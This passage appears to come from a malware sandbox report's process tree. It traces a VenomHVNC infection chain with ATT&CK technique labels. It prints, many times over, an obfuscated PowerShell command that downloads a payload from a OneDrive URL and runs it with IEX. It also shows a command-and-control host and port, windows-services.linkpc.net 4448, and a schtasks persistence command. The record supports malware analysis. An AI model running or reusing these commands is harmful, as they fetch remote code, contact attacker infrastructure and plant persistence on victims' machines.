        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        118⤵
        
        PID:4856
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        117⤵
        
        PID:3212
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        117⤵
        
        PID:6768
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        118⤵
        
        PID:7732
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        116⤵
        
        PID:4056
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        117⤵
        
        PID:11152
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        117⤵
        
        PID:4364
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        117⤵
        
        PID:7232
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        116⤵
        
        PID:10364
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        116⤵
        
        PID:5256
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        117⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6264
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        115⤵
        
        PID:9960
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        116⤵
        
        PID:6380
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        116⤵
        
        PID:6372
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        115⤵
        
        PID:10384
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "System" /tr '"C:\Users\Admin\AppData\Roaming\System.exe"' & exit
        116⤵
        
        PID:9764
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "System" /tr '"C:\Users\Admin\AppData\Roaming\System.exe"'
        117⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4376
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        115⤵
        
        PID:11776
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        116⤵
        
        PID:11612
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        114⤵
        
        PID:8228
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        115⤵
        
        PID:9448
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        115⤵
        
        PID:7408
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        114⤵
        
        PID:2196
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        114⤵
        
        PID:8540
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        115⤵
        
        PID:8596
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        113⤵
        
        PID:9888
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        114⤵
        
        PID:5272
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        114⤵
        
        PID:7552
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        113⤵
        
        PID:4788
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        113⤵
        
        PID:3908
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        114⤵
        
        PID:11140
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        112⤵
        
        PID:3600
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        113⤵
        
        PID:8376
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        113⤵
        
        PID:3820
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        112⤵
        
        PID:3804
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        112⤵
        
        PID:10436
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        113⤵
        
        PID:12820
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        111⤵
        System Location Discovery: System Language Discovery
        
        PID:2976
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        112⤵
        
        PID:2320
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        112⤵
        
        PID:5708
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        111⤵
        
        PID:4732
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        111⤵
        
        PID:2160
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        112⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13216
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        110⤵
        
        PID:4680
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        111⤵
        
        PID:4828
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        111⤵
        
        PID:8520
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        110⤵
        
        PID:6052
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        110⤵
        
        PID:10580
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        111⤵
        
        PID:7808
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        109⤵
        
        PID:5296
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        110⤵
        
        PID:6564
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        110⤵
        
        PID:9328
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        109⤵
        
        PID:5540
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        109⤵
        
        PID:10532
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        110⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12448
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        108⤵
        
        PID:10368
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        109⤵
        
        PID:8364
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        109⤵
        
        PID:8328
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        108⤵
        
        PID:10416
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        108⤵
        
        PID:5888
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        109⤵
        
        PID:6428
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        107⤵
        
        PID:11160
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        108⤵
        
        PID:6752
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        108⤵
        
        PID:2088
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        108⤵
        
        PID:9348
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        107⤵
        
        PID:11172
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        107⤵
        
        PID:9632
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        108⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12488
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        106⤵
        
        PID:11056
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        107⤵
        
        PID:11228
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        107⤵
        
        PID:10508
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        106⤵
        
        PID:11064
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        106⤵
        
        PID:10588
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        107⤵
        
        PID:4432
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        105⤵
        System Location Discovery: System Language Discovery
        
        PID:10932
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        106⤵
        
        PID:11132
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        106⤵
        
        PID:10248
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        105⤵
        
        PID:10940
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        105⤵
        
        PID:8404
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        106⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7568
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        104⤵
        System Location Discovery: System Language Discovery
        
        PID:10740
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        105⤵
        
        PID:10852
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        105⤵
        
        PID:3208
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        104⤵
        
        PID:10748
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        104⤵
        
        PID:10796
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        105⤵
        
        PID:12696
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        103⤵
        
        PID:10528
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        104⤵
        
        PID:10680
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        104⤵
        
        PID:2024
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        103⤵
        
        PID:10536
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        103⤵
        
        PID:8604
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        104⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8268
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        102⤵
        
        PID:10356
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        103⤵
        
        PID:10672
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        103⤵
        
        PID:7028
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        103⤵
        
        PID:8560
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        102⤵
        
        PID:10372
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        102⤵
        
        PID:6780
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        103⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3736
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        101⤵
        System Location Discovery: System Language Discovery
        
        PID:10192
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        102⤵
        
        PID:10456
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        102⤵
        
        PID:10984
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        101⤵
        
        PID:3264
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        101⤵
        
        PID:2648
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        102⤵
        
